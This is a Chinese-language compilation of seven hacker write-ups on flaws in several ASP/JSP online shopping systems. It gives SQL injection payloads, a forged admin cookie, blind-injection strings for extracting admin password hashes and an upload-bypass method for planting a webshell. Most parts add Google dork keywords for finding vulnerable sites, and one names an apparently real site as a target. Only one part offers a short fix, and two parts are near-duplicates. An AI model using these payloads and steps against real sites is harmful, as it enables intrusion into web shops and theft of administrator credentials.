凡人网络购物系统Jsp版漏洞分析
【简介】感谢网友“追风少年风追我”参与投稿,下面就是小编给大家整理的凡人网络购物系统Jsp版漏洞分析(共7篇),希望您能喜欢!
篇1:凡人网络购物系统Jsp版漏洞分析
凡人网络购物系统Jsp版是网上少见的JSP开源的程序,说实话JSP的程序确实很少,
这套系统已经 被很多人改过了,所以只能用文件来试是不是这个系统,..数据库是ACCESS难得,以前学校写都是用SQL..所以JDBC那里很熟悉
这文章也没有投稿的价值.. 俺还有更好的文章投稿,所以这个就发出来玩了,代码漏洞百出。看的我都想吐了 有兴趣的朋友自己去下一份最新版的来看
正文:
现在虽然渗透的方法多彩多样,但是最具威胁最简单的还是injection攻击. 对于 injection漏洞的形成无非就是某某变量
没过滤或者过滤不严而已..
这几天一直在看凡人网络购物系统Jsp版的代码。 多少看出来点问题。这里共享下..
这套系统网上使用的并不是很多,但是大部分人喜欢改这套程序来用,所以我只是在笔记本上装了个tomcat环境来测试一下这个漏洞
因为不投稿所以也没截图 只把漏洞代码简单说下
首先看一下就简单的JSP注射漏洞的形成,我从我们教材上随便找了一个后台登陆的代码来分析
现在的学校培训程序员只知道让写代码。对编码安全根本没有意识...
教材上的后台代码:
Statement stmt = conn.createStatement;
string checkUser = “select * from login where username =' ”+userName + “' and userpassword ='”+userPassword + “ ' ”;
ResultSet rs = stmt.executeQuery(checkUser); //执行查询
if(rs.next())
response.sendRedirect(“SuccessLogin.jsp”);
else
response,sendRedirect(“FailureLogin.jsp”);
上边是一个正常的JSP登陆页面 . 但是userName跟userPassword都没有过滤直接就放到数据库中进行查询,存在典型的注射漏洞
如果我们知道数据库里有个admin的用户 那么我们就可以用or'a'='a 或者 'or1=1/*进行登陆而不用输入密码登陆。
现在我们来看看凡人网络购物系统Jsp版的登陆页面login.jsp..代码如下,
<%@ page contentType=“text/html;charset=GBK” language=“java” import=“java.sql.*,java.util.Date” errorPage=“” %>
<%
boolean foundeer=false;
String user_name,user_pass;
if(!foundeer){
if (session.getAttribute(“user_name”)==null){ //只判断是否为空,并未进行过滤
user_name=request.getParameter(“user_name”);
user_pass=request.getParameter(“user_pass”);
if(user_name==null || user_pass==null){
out.print(“用户名和用户密码不能为空!”);
foundeer=true;
}
String sql=“select * from member where user_name='”+user_name+“'”;
ResultSet rs;
rs=mdb.executeQuery(sql);
以下省略
...
}
我们从
if (session.getAttribute(“user_name”)==null){
user_name=request.getParameter(“user_name”);
user_pass=request.getParameter(“user_pass”);
if(user_name==null || user_pass==null){
out.print(“用户名和用户密码不能为空!”);
foundeer=true;
}
String sql=“select * from member where user_name='”+user_name+“'”;
ResultSet rs;
rs=mdb.executeQuery(sql);
这里可以看到, 只判断了user_name是否为空,并没有进行有效的过滤,导致注射漏洞的发生,如果让select成功,就能成功饶过验证. 算是一个典型的or 注入
先用or 1=1和or 1=2来测试是否存在注入点,我在本地测试是成功的..在本本上我没法截图 然后继续 or exists(select XX from XX)返回or 1=1的页面,这里没什么可说的... 不懂的可以去看鸡头的那个新or 注入 讲 的很明白的...
其实这太系统简直是漏洞百出,还一个跨站的漏洞,在留言那里限制是10个字符,
但是我们可以本地写个表单来提交就可以成功跨站的,代码我就不发了。 稍微懂点JSP的都能看出来。
篇2:凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞利用
ad_chk.asp判断管理员登陆状态
<%
if Request.Cookies(“venshop”)(“admin_name”)=“” or Request.Cookies(“venshop”)(“admin_pass”)=“” or Request.Cookies(“venshop”)(“admin_class”)=“” then
Response.Cookies(“venshop”)(“admin_name”)=“”
Response.Cookies(“venshop”)(“admin_pass”)=“”
Response.Cookies(“venshop”)(“admin_class”)=“”
response.redirect “ad_login.asp”
response.end
end if
%>
判断admin_class
C:\\Inetpub\\wwwroot>findstr /i /n /s “admin_class” *.asp
ad_admin.asp:29: rs(“admin_class”)=request(“class1”)
ad_admin.asp:43:rs(“admin_class”)=request(“class”)
ad_admin.asp:92:<%if rs(“admin_class”)=0 then response.write“ s
elected”%>>总管理员
ad_admin.asp:93:<%if rs(“admin_class”)=1 then response.write“ s
elected”%>>产品管理
ad_admin.asp:94:<%if rs(“admin_class”)=2 then response.write“ s
elected”%>>订单管理
........................
可以看出当admin_class=0的时候就是总管理员身份了,
凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞利用
,
伪造cookie如下
Themes=default; Count=lao=3; Countecho=lao=True; ASPSESSIONIDQAADRSRB=CDBDHEHCLJOIHFDAHLFHABIO; venshop=admin%5Fclass=0&admin%5Fpass=admin&admin%5Fname=admin
然后访问即可,后台有数据库备份可以拿webshell。
google :inurl:“views.asp?hw_id=”
篇3:网趣网上购物系统时尚版 v3.2注入漏洞
Cool Kid 's blog
涉及版本:网趣网上购物系统时尚版 v3.2
漏洞文件:getpwd2.asp,getpwd3.asp,getpwd4.asp
漏洞描述:变量username未经过滤带入sql查询,存在SQL注入漏洞.
关键代码:
ASP代码
<%
username=request.form(“username”)
set rs=Server.CreateObject(“Adodb.Recordset”)
sql=“select * from [user] where username='”&username“' ”
rs.open sql,conn,1,1
If rs.eof Then
%>
<%
End If
%>
取回密码 | 回答问题
利用方法:
post提交数据(可以借用剑心的Sql.htm[www.loveshell.net/blog/blogview.asp?logID=70]),默认管理员ID为4,密码为16位md5(小写字母),确定下范围0-9的asc值48-57,小写字母的asc值97-122
SQL代码
' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 48 and 57)0 and ''='
' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 97 and 122)0 and ''='
正确返回“取回密码”,错误返回对话框“这个用户没有注册,请注册!”
篇4:网趣网上购物系统时尚版10.3注入漏洞及修复
网趣可以改名成洞趣了
网趣网上购物系统时尚版10.3在会员登录编辑订单处存在SQL注入,导致管理员密码被注入暴MD5漏洞,
漏洞:文件editorderform.asp,存在sql注入漏洞
关键字:inurl:trends.asp?id=
利用前提:注册用户下定单
分析:
源码如下:
<%dim zhuangtai,namekey
namekey=trim(request(“namekey”)) 只是单单过滤了空格而已
zhuangtai=trim(request(“zhuangtai”))
if zhuangtai=“” then zhuangtai=request.QueryString(“zhuangtai”)
if namekey=“” then namekey=request.querystring(“namekey”)
%>
………………
//按用户查询
if zhuangtai=0 or zhuangtai=“” then
rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai<6 and username=”&namekey&“ order by actiondate desc”,conn,1,1
else
rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai=”&zhuangtai&“ and username=”&namekey&“ order by actiondate”,conn,1,1
end if
admin目录下的editorderform.asp文件未做session验证,且对namekey过滤不严,直接导入查询产生SQL注入漏洞,
利用如下:
首先注册一个用户,随便找一样东西购买下一个定单,产生一个定单号。
如图:
好了,定单号产生,那么,我们接着就直接打开网站
www.chinasg.tk/admin/editorderform.asp?zhuangtai=0&namekey=qing
其中的namekey=qing,qing替换成你注册的用户名,
把这个URL放到NBSI当中,关键字为“1笔”,手动添加表名cnhww,结果如图所示:
好了,拿着跑出来的密码去cmd5解一下,再登录后台,
后台拿shell的话,备份和上传那里都可以,我就不详说了。
修复方案:
对admin目录下的editorderform.asp文件做session验证,对namekey严格过滤
篇5:网趣网上购物系统时尚版10.3注入漏洞漏洞预警
网趣网上购物系统时尚版10.3在会员登录编辑订单处存在SQL注入,导致管理员密码被注入暴MD5漏洞,
漏洞:文件editorderform.asp,存在sql注入漏洞
关键字:inurl:trends.asp?id=
利用前提:注册用户下定单
分析:
源码如下:
<%dim zhuangtai,namekey
namekey=trim(request(“namekey”)) 只是单单过滤了空格而已
zhuangtai=trim(request(“zhuangtai”))
if zhuangtai=“” then zhuangtai=request.QueryString(“zhuangtai”)
if namekey=“” then namekey=request.querystring(“namekey”)
%>
………………
'//按用户查询
if zhuangtai=0 or zhuangtai=“” then
rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai<6 and username='”&namekey&“' order by actiondate desc”,conn,1,1
else
rs.open “select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai=”&zhuangtai&“ and username='”&namekey&“' order by actiondate”,conn,1,1
end if
admin目录下的editorderform.asp文件未做session验证,且对namekey过滤不严,直接导入查询产生SQL注入漏洞,
利用如下:
首先注册一个用户,随便找一样东西购买下一个定单,产生一个定单号。
如图:
好了,定单号产生,那么,我们接着就直接打开网站
www.chinasg.tk/admin/editorderform.asp?zhuangtai=0&namekey=qing
其中的namekey=qing,qing替换成你注册的用户名,
把这个URL放到NBSI当中,关键字为“1笔”,手动添加表名cnhww,结果如图所示:
好了,拿着跑出来的密码去cmd5解一下,再登录后台,
后台拿shell的话,备份和上传那里都可以,我就不详说了。
篇6:网趣网上购物系统HTML静态版 v 注射漏洞预警
Author:Lan3a
这个程序太多问题了,
我直接说方法了。
Google关键字:inurl:buy.asp?action=show
或者:inurl:viewreturn.asp?Page=1
注射代码:
引用
admin/review.asp?id=50%20and%201=2%20union%20select%201,2,admin,4,password,6,7,8,9,10,11%20from%20admin
自己重新查询下表,或者用工具注入
后台拿SHELL很简单的,上传截断,数据库备份都可以的,
原文来自:blog.cfyhack.cn/Wang_qu_shopping_injection/
篇7:无忧购物系统ASP时尚版和通用版上传漏洞利用网站安全
关键字:Copyright © 2008-2009 gzwynet.com.cn
上传利用地址:admin/upLoad_c.asp?a=uploadfile&b=1
利用文件:
无忧购物系统ASP时尚版上传漏洞利用程序 BY Qing
enctype=”multipart/form-data“ >
正在上传文件,请稍候...
bordercolorlight=”#cccccc“ bordercolordark=”#CCCCCC“ bgcolor=”#CCCCCC“>
文件上传 (允许上
传的文件类型: jpg gif)
选择文件:
nclick=”javascript.:mysub()“>
上传一个JPG格式的小马或一句话
上传后的默认地址:admin/uploadfile/st.asp;(文件名)
如图
实际一句话地址:
利用文件:
无忧购物系统asp时尚版上传漏洞利用程序.html
down.qiannao.com/space/file/yulegu/share/2010/10/1/-65e0-5fe7-8d2d-7269-7cfb-7edfasp-65f6-5c1a-7248-4e0a-4f20-6f0f-6d1e-5229-7528-7a0b-5e8f.html/.page
版本:无忧购物系统ASP通用版 V2010.9.17
漏洞:上传漏洞
关键字:Copyright©2000-2021 gzwynet.com.cn (若有其他更好的关键字,希望能给我留下言)
利用前提:注册用户
漏洞文件:upfile_Other.asp
其中:
<%
if EnableUploadFile=”NO“ then
response.write ”系统未开放文件上传功能“
else
if session(”AdminName“)=”“ and session(”UserName“)=”“ then
response.Write(”请登录后再使用本功能!“)
else
select case upload_type
case 0
call upload_0() '使用化境无组件上传类
case else
'response.write ”本系统未开放插件功能\"
'response.end
end select
end if
end if
%>
user,就是注册用户,也存在上传权限,其他的几个文件,如Upfile_Dialog.asp,Upfile_Photo.asp并没有普通用户的上传权限
那么我们现在就是要利用普通用户的这个可以上传的功能,
无忧购物系统ASP时尚版和通用版上传漏洞利用网站安全
,
首先,注册个用户,如果没找到注册的地方,直接在网址后面输入userreg.asp,
注册并登录,
登录之后不要关闭页面,因为是session验证,现在我们打开这个本地上传页面,
修改action后的地址,并给马儿后面添加一个空格,点击上传就可以,图中红色所示部分就是空格,如图所示
复制页面上所示的木马地址,打开即可。
到此,拿到shell,完整结束。
附上本地上传的这个页面
down.qiannao.com/space/file/yulegu/share/2010/10/1/-672c-5730-4e0a-4f20-6f0f-6d1e.html/.page